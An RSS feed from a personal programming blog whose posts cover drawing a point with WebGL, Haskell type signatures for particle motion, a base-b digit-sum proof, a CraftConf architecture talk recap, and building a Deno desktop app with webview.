<![CDATA[Creativity, cognitive science and Full-Stack Software Development | Jorch's Mini Blog]]>https://blog.jrlgs.devhttps://cdn.hashnode.com/res/hashnode/image/upload/v1647060155308/7tiwAudGN.pngCreativity, cognitive science and Full-Stack Software Development | Jorch's Mini Bloghttps://blog.jrlgs.devRSS for NodeSun, 12 Apr 2026 12:42:00 GMT60<![CDATA[WebGL. Or... how to draw a single point, the hard way.]]>https://blog.jrlgs.dev/webgl-or-how-to-draw-a-single-point-the-hard-wayhttps://blog.jrlgs.dev/webgl-or-how-to-draw-a-single-point-the-hard-wayFri, 20 Jan 2023 03:58:48 GMTThis time let's start with WebGL. For today let's walk through setting up a project and writing a basic WebGL program.

If you are familiar with Three.js, you will notice that WebGL is much much more low level.

WebGL is just an API for using the GPU to draw pixels on the screen. It is not, contrary to what you may think, a 3D graphics library.

There is a lot of work before we can draw triangles on the screen...

Initial Setup

You can set up your project however you want. I am using Vite with plain TypeScript. My folder structure looks something like this:

./root
|-- src
   |-- utils
     |-- WebGLUtils.ts
   |-- webgl_programs
     |-- simple_program
       |-- shaders
         |-- fragment.glsl
         |-- vertex.glsl
       |-- simple.module.ts
   |-- main.ts
   |-- style.css
|-- index.html
|-- package.json
|-- tsconfig.json

Nothing too complicated if you have used Vite or some other frontend tooling before.

The only thing to note is those .glsl files. Those are shaders written in GLSL, a strongly typed language similar to C, and they are the code that is run by the GPU. We will get to that in a bit, don't worry!

As I am using Vite, I will use the ES Module style:

<body>
    <canvas id="webgl"></canvas>
    <script type="module" src="./src/main.ts"></script>
<body>

We start with an HTML canvas element somewhere on our page as you can see above. Then, from main.ts we get a reference and get its webgl2 context.

import "./style.css"

function main () {

    // WebGL setup
    const canvas = document.querySelector<HTMLCanvasElement>("#webgl")
    const gl = canvas.getContext("webgl2")
}

document.addEventListener("DOMContentLoaded", () => {
    main()
})

A few notes before continuing. First, I am writing this file as if it was an ES module, that's what the type attribute of the <script> tag means. Also, Vite will handle importing CSS files in this manner.

Second, I am not running the "main" function directly, nor am I using an immediate function invocation. Instead, I am just telling the browser to run main() when the DOMContentLoaded event is fired. This happens whenever the browser has finished loading the DOM. You shouldn't use the "load" event in this case.

Third, you may want to add some error handling. But I will omit some of that on the example code. Use your own judgment. For example:

const gl = canvas?.getContext("webgl2")
if (!gl) {
    console.error("No webgl2 context")
    return
}
gl.drawArrays(gl.POINTS, 0, 1) // this would crash if there is not gl context object

The Deal with WebGL

WebGL is just a fancy way to use the GPU to draw pixels on the screen. Of course, using the GPU involves some complications. But I will not explain those here. I'll save that for another post :D

And, though you may not finish reading this article thinking like that, it indeed is a FANCY way to draw with the GPU.

It is quite a high-level API, compared to other graphics APIs like Vulkan... (which I may write about in the future)

The WebGL Context

You can think of WebGL as a state machine. You start with a reference to gl, which is of type WebGLRenderingContext or WebGL2RenderingContext (depending on which version of WebGL you are using).

Then you run a bunch of methods to "setup" the state of the WebGL context.

For example:

...

gl.clearColor(1.0, 0.0, 0.0, 1.0) // RGBA values
gl.useProgram(shaderProgram) // some WebGL 'program' to be used
gl.clear(gl.COLOR_BUFFER_BIT) // clear the color buffer

let vertices = new Float32Array([ // vertices of a triangle
    0.0, 0.5,  -0.0, -0.5,   0.5, -0.5
])

// create a vertex buffer object to hold the vertices data
let vertexBuffer = gl.createBuffer();

// bind the ARRAY_BUFFER of webgl to the vertex buffer object 
gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer);
gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW)

// setup webgl to pass vertex data to the bound shaders in gl.program
let a_Position = gl.getAttibLocation(gl.program, "a_Position")
gl.vertexAttribPointer(a_Position, 2, gl.FLOAT, false, 0, 0)
gl.enableVertexAttribArray(a_Position)


gl.drawArrays(gl.POINTS, 0, 3) // actually draw something

Don't worry if nothing here makes sense. In this example, the only line that actually does something is gl.drawArrays(). It draws to the screen, as you may expect.

However, we should ask what does it draw? It draws whatever the current state of the buffer indicated by gl.ARRAY_BUFFER of the WebGL context is at the moment.

All those previous lines are setting up the state that should be rendered when gl.drawArrays() is called.

Shaders then...

A Hand-wavy Introduction to the Graphics Pipeline

Once the gl.drawArrays() function is called, all the data on the current state is used to ask the GPU to draw. This process is called the graphics pipeline and roughly consists of several steps:

First, get all the vertex data and compute, per vertex, its position on the screen once projected from 3D World-Space to Screen-space.

Second, the GPU needs to compute which pixels on the screen correspond to each triangle of the mesh being drawn to the screen. We call those pixels fragments.

Third, the GPU needs to compute, per fragment, the final color for the fragment, depending on the lighting, material, and so.

Finally, the GPU needs to merge all the fragments for all the triangles for all the meshes being rendered, in a way that makes sense. And output a framebuffer which you can think of as an array of pixel colors to be passed to the HTML canvas.

The first and third stages of the process are user-defined (we decide how to process the vertices and the fragments). A shader is a program that will be run per vertex and fragment.

There are vertex shaders and fragment shaders, respectively. Together they form a shader program.

Ok enough theory. Let's write a WebGL program!

A simple program

Let's first add a couple of new folders and files to our project.

import "./style.css"

import * as SimpleProgram from "./webgl_programs/simple_program/simple.module"

function main () {

    // WebGL setup
    const canvas = document.querySelector<HTMLCanvasElement>("#webgl")
    const gl = canvas.getContext("webgl2")

    SimpleProgram.run(gl)
}

document.addEventListener("DOMContentLoaded", () => {
    main()
})

I made a webgl_programs folder for the applications we will write. Inside it I also created a shaders folder, which we will se later. Let's for now look at the "simple_program":


import vertexShaderSource from "./shaders/vert.glsl?raw";
import fragmentShaderSource from "./shaders/frag.glsl?raw";

export function run(gl: WebGL2RenderingContext) {

// load and init shader program

// set attributes

// render

}

So the run function above just executes whatever we put here. We can see that there are three parts for our program.

Load and init shaders

Maybe you are curious about the weird lines:

import vertexShaderSource from "./shaders/vert.glsl?raw";
import fragmentShaderSource from "./shaders/frag.glsl?raw";

if you had never seen those imports with the "...?raw" at the end, those are a way to let Vite know we want to keep whatever is on the file as a string on the named identifier. Our shader source code is just a string. We will let WebGL compile it later.

Look now at the part of our program that inits our shaders and creates our shader program.

export function run (gl:WebGL2RenderingContext) {

    // init vertex shader
    let vertexShader = gl.createShader(gl.VERTEX_SHADER);
    if (!vertexShader) {
        console.error("Failed to create vertex shader");
        return null;
    }
    gl.shaderSource(vertexShader, vertexShaderSource);
    gl.compileShader(vertexShader);
    if (!gl.getShaderParameter(vertexShader, gl.COMPILE_STATUS)) {
        console.error(`Failed to compile shader: ${gl.getShaderInfoLog(vertexShader)}`);
    }

    // init fragment shader
    let fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
    if (!fragmentShader) {
        console.error("Failed to create fragment shader");
        return null;
    }
    gl.shaderSource(fragmentShader, fragmentShaderSource);
    gl.compileShader(fragmentShader);
    if (!gl.getShaderParameter(fragmentShader, gl.COMPILE_STATUS)) {
        console.error(`Failed to compile shader: ${gl.getShaderInfoLog(fragmentShader)}`);
    }

    // create shader program
    let program = gl.createProgram()
    if (!program) {
        console.error("Failed to create program")
        return null
    }

    gl.attachShader(program, vertexShader)
    gl.attachShader(program, fragmentShader)
    gl.linkProgram(program)

    if (!program) {
    console.error(`Failed to link program: ${gl.getProgramInfoLog(program)}`)
        gl.deleteProgram(program)
        gl.deleteShader(program)
        gl.deleteProgram(program)
        return null
    }

    gl.useProgram(program)

}

A few notes. No doubt you think that it is very verbose. At each step, we are telling the WebGL context to do something, imperatively.

For example, we need to create a WebGLShader object and then tell WebGL to set the source of some shader using gl.shaderSource(). You may have expected something like this:

let vertexShader = gl.createShader(gl.VERTEX_SHADER)
vertexShader.setSource(vertexShaderSource)

However, we have to use this idiom instead:

let vertexShader = gl.createShader(gl.VERTEX_SHADER)
gl.shaderSource(vertexShader, vertexShaderSource)

The gl.VERTEX_SHADER parameter is just a number under the hood. However, the API expects a WebGL constant. All of which are of type GLEnum, which is a 32-bit number of type unsigned long. Whenever the API expects such constants, you should use the appropriate constant retrieved as gl.<constant> form the gl context.

Similarly with this part:

let program = gl.createProgram()
...
gl.attachShader(program, vertexShader)
gl.attachShader(program, fragmentShader)
gl.linkProgram(program)
...
gl.useProgram(program)

You may have expected something like:

let program = gl.createProgram()
...
program.attachShader(vertexShader)
program.attachShader(fragmentShader)
program.link()
...
gl.useProgram(program)

WebGL's API mirrors OpenGL's closely which is a C API. So, no object-oriented-style methods. The more you read WebGL programs the more used to them you get.

By now, you should be able to go back and understand the entire snippet above that creates a shader program to be used on the graphics pipeline. Make sure to browse the WebGL API docs.

I have big expectations of you. So no hand-holding! :D

GLSL

Remember that GLSL is a low level strictly typed language similar to C. It is intended to be compiled by WebGL and run on the GPU.

Before continuing with the rest of the program, here's the code for the vertex shader.

attribute vec4 a_Position;

void main() {
    gl_Position = a_Position;
    gl_PointSize = 10.0;
}

And the fragment shader

void main () {
    gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0)
}

For now, the only relevant thing is that attribute keyword. It means that there is a piece of data that we will send from our javascript application to the GPU. So the shader will get as input some a_Position value of type vec4, which is just a list of four floating point numbers.

The vertex shader has some pre-defined outputs we can set. For instance gl_Position is the computed position of the vertex.

Remember that the vertex shader is run once per vertex.

Similarly, the fragment shader has gl_FragColor as output. It is the color of the pixel for the fragment.

Again, the fragment shader is run per fragment, or pixel, that forms part of each triangle projected on the screen.

Passing attributes to the shader program

Let's go back to javascript. After initializing our shaders and creating our program we tell WebGL that we want to set the a_Position attribute of the vertex shader to some value we are going to calculate:

export function run (gl:WebGL2RenderingContext)

    ...
    // create program
    ...

    // set attributes
    let a_Pos = gl.getAttribLocation(program, "a_Position");
    if (a_Pos < 0) {
        console.log("Failed to get location of a_Position");
    }

    gl.vertexAttrib3f(a_Pos, 0.0, 0.0, 0.0);

    //render
    ...
}

Read the snippet carefully and make sure you understand it. (Search on the docs if needed). We are getting the "location" of the a_Position attribute on the program we created before. Recall that this program has our vertex shader attached. Then WebGL returns a reference to that location.

Finally, we tell WebGL to send the value (0.0, 0.0, 0.0) to the gpu to be available on that attribute.

Rendering a single point

Until now, everything we have done is BOILERPLATE. Necessary for our grand rendering code:

// render
gl.clearColor(0.0, 0.0, 0.0, 1.0);
gl.clear(gl.COLOR_BUFFER_BIT);
gl.drawArrays(gl.POINTS, 0, 1);

Actually. it is only this line that renders a point:

gl.drawArrays(gl.POINTS, 0, 1)

But as you may imagine, what is drawn to the screen depends on the current state of WebGL at the moment gl.drawArrays() is called. All of our hard work has been put into telling WebGL with minute detail how to draw what we want!

So...

The result is nothing short of spectacular:

Result of our hard work drawing a single point with WebGL

While this may not look too exciting, keep in mind that this red dot is being rendered on the GPU.

Unlike the HTML canvas, this is probably several orders of magnitude faster. All this complication is necessary when we want to do more computationally complicated stuff...

...Like a 3D rendering engine.

Once we have reached this point we have enough background knowledge to draw pretty much anything (that doesn't mean it will be easy though!)

A combination of the basic techniques we saw here and throwing an obscene amount of math at the computer will indeed be enough to write our own 3D engine!

Epilogue.

I want to write a series of short posts about what I learn. The idea is that I want to (hopefully) produce daily posts.

My job is somewhere in between Full-stack Web Development and 3D Graphics. I work with three.js and more recently WebGL.

Shout out to Hashnode as I got my job thanks to my blog here! :D

]]><![CDATA[Type signatures in Haskell]]>https://blog.jrlgs.dev/type-signatures-in-haskellhttps://blog.jrlgs.dev/type-signatures-in-haskellSun, 04 Dec 2022 22:15:44 GMTIf you are a dynamically typed programmer you probably are not super familiar with type signatures. (Perhaps even if you are an avid TypeScript user!)

In the following example, I will try to demonstrate with a practical example why we would like to use type signatures. The example is in Haskell, but the syntax is easy enough.

Example: the motion of a particle

Suppose we have a particle moving over a straight line. Let's say its position at time \(t\) is given by the function \(x(t)\).

Consider now an interval of time \(\Delta t = t_1 - t_0\) for an initial time \(t_0\). Then the average velocity of the particle over the interval of time is given by the function:

$$v_{t_0}{(t_1)}=\frac{x(t_1)-x(t_0)}{t_1 - t_0}$$

Let's see how we can express this in Haskell.

averageVelocity::Time->Time->PositionFunction->Velocity
averageVelocity t0 t1 x = (x t1 - x t0) / (t1 - t0)

Note that x is a function of some PositionFunction type. And is being given as an argument to averageVelocity.

But the type of x could also be:

x::Time->Positon

Therefore, averageVelocity may have the type signature

averageVelocity::Time->Time->(Time->Position)->Velocity

But note that "time", "position" and "velocity" are just numbers. Inside the computer, they are just float or double. So why would we not instead do this:

averageVelocity::float->float->(float->float)->float

Type synonyms

Furthermore, in Haskell we can define type synonyms:

type R = float 

type Time = R
type Position = R
type Velocity = R

type PositionFunction = Time->Position

averageVelocity::Time->Time->PositionFunction->Velocity

This makes the code much clearer. And whenever there is an error, the compiler will tell us something about the type involved.

The meaning of function signatures

Let's try something more interesting. Usually, when modeling the motion of a particle we are interested in its instantaneous velocity. Not the average over an interval. We need to model the derivative of the position function for this.

$$\frac{dx(t)}{dt}=v(t)= \lim_{\Delta t \rightarrow 0} \frac{x(t+\Delta t/2)-x(t-\Delta t/2)}{\Delta t}$$

Note that the left side of the equation takes as input for the derivative operator. Which is a function. We may write \(D(x(t)) = v(t)\) if we want to be more explicit.

If you are keen-eyed you may have noticed that I treated operators as if they were functions. That is because they are! As an example, the "addition" operator \(+\) is just a function \(+: \mathbb{R} \times \mathbb{R} \rightarrow \mathbb{R}\). So for two numbers \(a, b\) their sum is given by \(a+b=c\) which is just syntactic sugar for \(+(a,b) = c\). Because \(+\) is just a function!

Let's attempt to write the type signature for a derivative in Haskell!

type Derivative = (R->R)->R->R

We are expressing that the type Derivative is a function type, for a function that takes a function with signature R->R as input and a function with signature R->R as output.

However, look at the following:

evaluateDerivative::R->Derivative
evaluateDerivative dt x t = (x (t+dt/2) - x (t+dt/2)) / dt

This may seem wrong to you. Isn't evaluateDerivative supposed to take a single value of type R and return a function of type Derivative?

Yes and No. We can rewrite the signature as:

evaluateDerivative::R->R->R->R->R

This way, believe it or not, we are telling the compiler that whatever fits that signature is a valid parameter. Functions and values are the same kind of thing in Haskell.

So evaluateDerivative as we defined above takes a very small interval dt (in place for taking the limit), a function x::R->R, and a time value t. And returns the result of evaluating \(\frac{dx(t)}{dt}\).

Yet. If this is so, then we have at least three functions with quite different meanings:

  • differential One that takes a single interval \(\Delta t\) of type R as input and outputs a function \(D\) with signature (R->R)->(R->R) which takes a position function \(x(t)\) and outputs its derivative \(v(t)\). That is \(D(x) = \frac{dx}{dt}\). This is a "generic" differentiation function.

  • evaluateDerivative A function that takes three arguments \(\Delta t\),\(x(t)\), \(t_i\) and outputs the result of evaluating the derivative of \(x\) at time \(t_i\). That is, \(v(t_i)\), a single numeric value that has type R.

  • getDerivative A function that takes two arguments \(\Delta t\) and \(x(t)\) of type R and R->R, respectively. And returns the derivative of \(x\), with type R->R.

All three of them have the exact same code. The only difference is whether we use the type signature and name to remind us of what they do.

You may now be wondering how on earth can three different functions have the exact same code? The Haskell compiler can by default curry a function when not all parameters are provided. That is, it does partial application whenever needed.

So...?

They are all the same. We get all of that versatility just from the types (and partial application).

Keep in mind that code, functions, objects, variables and so are just data to the computer. The difference is only how we think about it.

Having a type system allows you to think about your programs in terms of higher abstractions.

That may (or may not) be what you want or need... As with anything in software, it depends. There are always tradeoffs!

:D

]]><![CDATA[Reasoning with Numbers]]>https://blog.jrlgs.dev/reasoning-with-numbershttps://blog.jrlgs.dev/reasoning-with-numbersSat, 16 Jul 2022 15:08:25 GMTI want to offer a course about algorithms. Somewhat rigorous, but at the same time accessible.

But we need to start with some basics first. We will start by getting a taste of the kind of work we are going to be doing. We are going to be doing proofs about the behavior of algorithms.

In this post I will show you a mathematical proof about numbers.

As with every other post in my blog, I am learning this. So I am writing a course for myself. But I always try to make it accessible to others :D

Reasoning with numbers

Lets start with an interesting observation:

Observation: the sum of any three digits is at most two digits long.

In base 10 we can check this easily by noting that \(9+9+9 = 27\). Yet we would like to make a more general claim.

Lemma 1: For any integer base \(b \geq 2\), the sum of any three digits is at most two digits long.

A lemma is a claim that we need to prove using mathematical reasoning alone. No "empirical evidence" allowed!

Before offering the proof, lets take a moment to reason through what we are even asking!

The way to proceed can be to find out what is the biggest number we can represent with a single base \(b\) digit. Think for example, base 10, where \(9 = 10^1 - 1\). In base 2, we have that \(1 = 2^1-1\). In base 16 (hexadecimal), \(15 = \text{F} = 16^1 - 1\). And so on. Can you see it?

Indeed we should prove this second claim. But it is straightforward enough that we can convince ourselves that it is valid.

  • Hint: can you provide an argument to claim that if this is true for \(b=n\) then it must also true for \(b=n+1\). Can you then show that it must be true for \(b = 2\)? What would that argument imply?

Then consider the number \(b^1-1\) which must be the biggest one-digit base \(b\) number. Thus we need to ask, how many digits does \(3(b^1-1)\) has? Now we have enough to attempt a proof.

Proof: First note that as \(b^1-1 > 0\), then \(3(b^1-1)\) must be bigger than \(b^1-1\). If that is the case, then it must also be at least two-digits long, because \(b^1-1\) is the biggest one-digit base \(b\) number!

Second, consider the biggest two-digit base \(b\) number. It must be \((b^2-b^1)+(b^1-1)=b^2-1\).

To help see it, consider the concrete example for base 10.

$$99 = (10^2 - 10) + (10 - 1) =(100-1)=90 + 9 $$

But we can show that:

$$ 3(b-1) \leq b^2-1 $$

If you are not convinced, try checking the inequality for \(b = 2, 3, 4, ...\)

Before continuing, can you offer a resoning why this should be true?

  • Hint 1: \(b-1\geq1\)
  • Hint 2: what is \(\frac{b^2-1}{b-1}\) ?

We can reason as follows:

$$ \frac{b^2-1}{b-1} = \frac{(b+1)(b-1)}{b-1} = b + 1 $$

But if \(b\geq2\), then \(3 \leq b+1\) and we can reverse the previous reasoning to end up with:

$$ \begin{align} 3 &\leq b+1 \\ 3(b-1) &\leq (b+1)(b-1) \\ 3(b-1) &\leq b^2-1 \\ \end{align} $$

Therefore, by our first statement above \(3(b^1-1)\) must be at least two-digits long. As it is larger than the largest one-digit base \(b\) number. But by the second statement, it cannot be three or more digits long. As it is smaller or equal than the biggest possible two-digit base \(b\) number.

But \(3(b^1-a)\) is the biggest possible number we can have by adding three one-digit number. And it must be two-digits long at most. So there is no other such number that could be more than two digits long.

We must conclude that any sum of three one-digit numbers base \(b \geq 2\) must be at most two digits long. This completes our proof.

Can you see why I said \(b \geq 2\)?

  • Hint: Check the second exercise problem above :D

Wow. That was dense.

We can be a little bit more terse when writing proofs, without loosing rigor. As long as we are confident the reader (i.e you from the future) will be able to fill in the blanks.

Terse proof: Let \(A = 3(b-1)\) where \(b-1\) is the biggest one-digit base \(b\) number. And \(B = b^2-1\), with \(B\) being the largest two-digit base \(b\) number. Then, \(A \leq B\). But as \(B\) is two-digits long, \(A\) can only have at most two digits. This completes the proof.

The point is that, you can (and perhaps should) write a reasoning as detailed as you need, to understand it completely. Some proofs are simple enough that we can skip them. Some will need a more elaborate reasoning.

I will take this approach on this posts :D

Try it yourself!: Show that the sum of any two base \(b \geq 2\) one digit numbers has at most two digits. Is that true? Why?

Hint: the reasoning is almost exactly the same. Think, for example that 9 + 9 = 18? Can you generalize this?

Try writing a proof in the comments :D

About this posts

This series is about algorithms and, to a lesser extent, data structures. If you want to follow along, however, please note that I am not aiming this at complete beginners.

I will foolishly assume you are at least familiar with:

  • Basic data structures like arrays, lists, trees and hash tables.
  • Big O notation. You know what "linear time" means.
  • You are at least willing to follow through some mathematical proofs.

That being said. I always try to keep my writing as accessible as possible :D

This are basically my notes from taking the "Intro to graduate algorithms" class from Georgia tech. Which is freely available online (I am not enrolled).

As you can probably imagine from the name, it is a graduate-level course. I will be following closely the book used. "Algorithms" by Dasgupta, Papadimitriou & Vazirani (2006).

* Please note that "we can convince ourselves", "as you should verify" and other such comments are code for "you should write the proof yourself in a piece of paper. I'm too lazy to do it myself!""

Epilogue

Hopefully that was interesting and my writing was simple enough. If you want to follow along, I encourage you to go through the reasoning with pen and paper :D

I am uploading these on a GitHub repo that you can check here: Algorithms-series.

I would appreciate any feedback (specially if I am wrong!!!). I am not an expert. I am learning, just like you!

If you wanna talk with me you should follow me on twitter: @jrlgs

]]><![CDATA[I attended CraftConf and learned about software architecture!]]>https://blog.jrlgs.dev/i-attended-craftconf-and-learned-about-software-architecturehttps://blog.jrlgs.dev/i-attended-craftconf-and-learned-about-software-architectureWed, 06 Jul 2022 20:40:21 GMTPreface: a noobs guide to learning from the pros

I was invited to attend the Craft Conference 2022 by my friend Miki Szeles.

There's a small problem though, I'm a noob. How am I supposed to learn from talks where they use words I'm scared about?

Well, I did learn, a lot. Let me share a bit of how I approached the different talks. So if you are a noob, you can feel encouraged and less intimidated to attend.

The secret is approaching the talks with a slightly different mindset!

You know, these talks can be seen as "pro tips for the pro", which is fine... for the pros.

However, my fellow noob. You have a different goal.

Your goal is to get the big picture. Not the details-oriented pro tips

You are being exposed to advanced topics that probably mean nothing to you. So making an effort of understanding and elaborate on this big-picture can make wonders for your own understanding!

So this post is an example of just that. Hopefully, it also helps show the value of attending these conferences.

The next level of architectural design

As one of my current interests is software architecture. And it is a topic I am trying to make sense of in my mind, the talk "Squaring the circle: Mastering the next level of architectural design" by Uwe Friedsrichsen immediately caught my eye when I first looked at the program schedule.

That sounded like the kind of talk a beginner like me could learn a lot about. It seems general enough and "advanced" at the same time.

Let me share a small summary of the main points. But I will not write a detailed "recap" of the talk.

Instead, I will direct you to the author's blog and a to the slides he used in his presentation. Which he kindly made available.

Btw, in his blog there is a small series of posts titled "why we need resilient software" which is an absolutely fantastic read!

A quick history lesson

The talk contrasts how software architecture has changed over the past 3 decades or so. And how the requirements of modern distributed systems affect the way we can (or maybe should) think about software architecture.

Yes, even if you are agile!

The talk starts by summarizing architectural work until around 2008. The "good ol' times" as he calls it. Mostly monolithic systems with server-side rendered webpages. On-premises data centers. Few external systems. You get the idea.

Contrast that with the whole microservices ethos.

With this approach, architecture is at the beginning and center of software creation. It is a design solution to satisfy explicit pre-defined project needs. There's also a focus on layered architecture.

The problem is that some things like integration, security, scaling and even performance are left as "2nd class citizens" and for others to deal with.

Well... Think about that. How would massive websites like Twitter keep from imploding if they were created like that!

The age of confusion

This encompasses between 2008 and 2015. When the software world went Agile. A very important aspect of this movement was a cultural countermovement against the "architecture-centric" approaches of the past.

And if you are a beginner, most of the "MERN" tutorials you may watch are probably still encroached somewhere around here. Keep reading!

The basic idea is: to start building and figure out the architecture along the way. As you gain an understanding of the system you are building. Iterate a lot. Architecture emerges; developers are the architects.

The present

That is not to say that neither "waterfall" nor "agile" approaches are dead, nor that they are now worthless. But as the needs of modern software change and the software itself becomes more complex, they have become tools for a broader approach.

At least that's how I understand them.

Tools that whoever takes the role of "the one in charge of the architectural decisions" should choose to use or not, depending on the particular problem at hand. That is, even in agile teams there must be some architectural concerns and decision-making.

Software now needs to run fast, run everywhere, and on a variety of network and hardware conditions. And it should be able to scale on-demand to handle usage spikes and be gracefully resilient to the failure of some of its components.

It may also need to deal with massive amounts of data. For example, with applications that involve AI/ML. So you may also need a system that can interoperate between multiple data sources and different environments which consume and process that data.

You also need to consider mobile apps. They involve new interaction patterns, new kinds of devices, less reliable connectivity, and unpredictable load patterns. You may even need to deal with IoT devices. Whose performance may be safety-critical, like autonomous vehicles and medical instruments.

All of that is on top of these systems being distributed and often expected to work near-realtime, 24/7.

Some thoughts on why

Here are some of the ideas I gather from the whole talk.

While it is probably true architecture "emerges", it has become way too critical to be left implicit.

Finally, it should be mentioned that the "Digital transformation" of business entails that IT and business are "blending" together. IT is now an integral part of almost any business, or the business itself. IT is an integral part of customer interactions. Many business models consist entirely of IT systems (just think about the website you are reading this on. Or the platform where I watched this online talk).

And people trust these systems with their private data. And sometimes with their life!

For example, cloud services can be very costly if mismanaged. Personal data can leak if not secured adequately. People can even die if autonomous vehicles misbehave. Dangerous ideas and misinformation can spread on social media. Or vulnerable groups can be affected by AI fed with biased data sets.

Thus, the way software is built cannot be trivialized. Or rather it should not.

And there are still other considerations.

Like the emergence of "post-industrial" markets, where the main products are services or 'knowledge work'. Supply often exceeds demand, yielding customer-driven markets. Thus fast adoption and adaptability to very fast-changing markets are critical for a business's success. An IT business simply cannot afford to have a system that may eventually become too complicated to change. A full rewrite may as well be a death sentence.

Along this, there is the problem of exploding complexity.

Yet another concern is ecological sustainability. Which every year is becoming more and more of a concern. It is a counterforce to every other concern. And should become a '1st class citizen' of system design and architecture.

Epilogue

That covers about half of the talk! So make sure you go and check it out! Either the talk on YouTube or the slides I linked above.

The rest of the talk and slides cover the speaker's own ideas, about still open problems and some discussion about how we should see "architecture" today.

In this post, I had three goals

  • Give back a little to both Miki and Craft Conf for their generosity in inviting me to attend the conference online!
  • Show you how, as a beginner, you can benefit greatly from attending.
  • Elaborate on my own knowledge of the "big picture" of software architecture.

Hopefully, you found this insightful on at least one of those three aspects :D

...

Just as a shameless plug. I am mostly active on Twitter @jrlgs, so you may want to talk to me there! I'm always happy to talk to new people. And I would appreciate you sharing these posts and giving a shoutout to both @mszeles and CraftConf, as well as the speaker, @ufried.

]]><![CDATA[Toying with Deno. Making a ... Game Engine?]]>https://blog.jrlgs.dev/toying-with-deno-making-a-game-enginehttps://blog.jrlgs.dev/toying-with-deno-making-a-game-engineSun, 12 Jun 2022 17:56:13 GMTLet's build a desktop app with Deno. Yes. A desktop app. No Electron.

Actually, let's make it harder on ourselves! Let's make a 3D desktop app!

Will it be a GOOD desktop app?

Of course not! Whose blog do you think you are reading!

But hopefully, it is fun! That's what really matters.

This post may also serve as a brief introduction to Deno!

Wait. Deno? Why? Just use Node bro!

If you are not interested in this part, feel free to skip ahead to the "What are we building?" section! :D

The simplest and most convenient aspect of Deno for me is that you can just use typescript. Which is really nice. I would rather use typescript for the sole reason that it provides better autocomplete. That's a big deal for me. Otherwise, JavaScript would do just fine.

TypeScript has its ugly aspects. But nice autocomplete is a BIG deal for me. I just want to make it clear. That's my main argument in favor of TypeScript :D

But there are other reasons why I want to use Deno.

The most straightforward is that "reinventing the wheel" is often an extremely rewarding learning experience. Well worth it if you are up to it. So I'll recreate as much as I can.

Finally, there are some very particular features of Deno I want to play around with. In the future!

But... in case you are not convinced. I'll include the comparison between Deno and Node offered by the Deno official Manual.

Actually, I am not trying to convince you to ditch Node. I'm just explaining why I want to try Deno.

:D

Packages

Deno does not use npm. Instead, you reference modules by their URL. From anywhere on the internet! As in the following: 

import * as log from "https://deno.land/std@0.142.0/log/mod.ts";

One of the ways I'm using this is that I forked one of the libraries I am relying on. To enable a critical feature. Then I am just importing from my own GitHub repo. How neat is that!

Note also that it uses ES Modules by default. No support for require()

It doesn't use package.json for module resolution. But you can "lock" dependencies in other ways, so don't worry! There is also no node_modules. Instead, modules are downloaded the first time they are imported. And cached for subsequent uses, across projects!

And they are intended to be immutable. And cacheable. So you only need internet access the first time they run. Unless you explicitly tell Deno to --reload

Runtime

All async actions return a promise. Which you know, duh!

So its APIs may be a bit different from Node's, which can be a mixed bag (mainly because Node is older). There is also top-level await by default.

There are also some security considerations. Deno will require explicit permissions for accessing files, network, and env. It is "secure by default". Deno will always die on uncaught errors.

It aims to be browser-compatible. Any program which does not use the Deno namespace should run just fine in the browser!

Take that with a healthy dose of skepticism, though. You will break things. Ask me how I know!

Deno also implements some WebAPIs when it makes sense. Like fetch, DOM, WebStorage, etc. To avoid proprietary APIs if possible.

Again, you will run into problems if you just assume everything will just work. Deno is not perfectly "isomorphic".

It supports browser-compatible lifycycle load and unload events: 

const loadHandler = (e: Event): void => {
    // ... do stuff
}

const unLoadHandler = (e: Event): void => {
    // ... do stuff
}

globalThis.addEventListener("load", loadHandler);
globalThis.addEventListener("unload", unLoadHandler)

Deno also has a built-in test runner at Deno.test and an assertions module on the standard library. You can also use Chai.

Node compatibility

This is one of the coolest things about Deno. You can run Node packages on it using the --compat flag to activate compatibility mode. With some caveats though, don't expect everything to work just fine. Also, you can't use TypeScript.

Here's an example.

$ npm install eslint
...

$ ls
.eslintrc.json
node_modules
package.json
test.js
test.ts

$ cat test.js
function foo() {}

$ cat test.ts
function bar(): any {}

$ deno run \
  --compat --unstable \
  --allow-read --allow-write=./ --allow-env \
  node_modules/eslint/bin/eslint.js test.js test.ts

Btw, Deno has a built-in linter as well: deno lint ./<file>.ts

This solution won't quite work for what we will be doing. But we can also just import an npm module and in many cases it may just work. So that's also really nice.

Spoilers: I'm gonna be importing Three.js from npm, and making it play nice with Deno.

Running Deno

You can install it and run the deno command.

You can also use the official Docker image. As in this example:

$ docker run -it -p 1993:1993 -v $PWD:/app denoland/deno:1.22.2 run --allow-net /app/main.ts

Just in case you are not familiar with Docker. -p 1993:1993 will map the port 1993 of the container to that same port on the host. -v $PWD:/app will mount the working directory of the host to /app in the container (where the app should be). Finally, the --allow-net is a deno flag for setting permissions when running /app/main.ts.

Finally, VSCode has a nice official extension for Deno.

Once you have a folder for a project, you just run deno run ./app.ts or something simliar, depending on how you name your files.

If you are using network access on app.ts, you will need to allow it explicitly:

$ deno run --allow-net ./app.ts

Check the docs for other permissions available in deno

Btw, did I mention that you can compile your deno projects into a single executable!?

Foreshadowing ;)

What are we building?

The rest of this post will be about building a desktop app that displays some 3D scene. The barebones necessary for a desktop game written in Deno.

You may be wondering why or how?

I found an interesting package while browsing the deno third-party modules library at deno.land/x that will allow me to run a window with a page loaded on webkit. In case you don't know, WebKit is the engine powering Apple's Safari. There is a GTK port from Gnome, which is the one we will be using.

Webview_deno

webview_deno provides deno bindings for webview, "a tiny cross-platform library to render web-based GUIs for desktop applications" which uses C++.

The goal of Webview is to create an HTML5 UI abstraction layer for desktop apps. So you can use whatever language you want as a "backend". In this case, Deno with TypeScript.

It uses Cocoa/Webkit on MacOS, gtk-webkit2 on Linux and Edge on Windows(10). Check the docs On Mac or Windows it should work with no further work.

As I am using Ubuntu, the docs say I need to install a dependency: 

$ sudo apt install webkit2gtk-4.0

However, if you are using Ubuntu jammy as I do, (or maybe another Linux distro) you can no longer install that dependency. Instead try libwebkit2gtk-4.0 or libwebkit2gtk-4.0-dev. Here's the reference. But you may already have it if you are using Gnome as your desktop environment.

Or look up another version of webkitgtk for your distro...

Or just cry in a corner.... :(

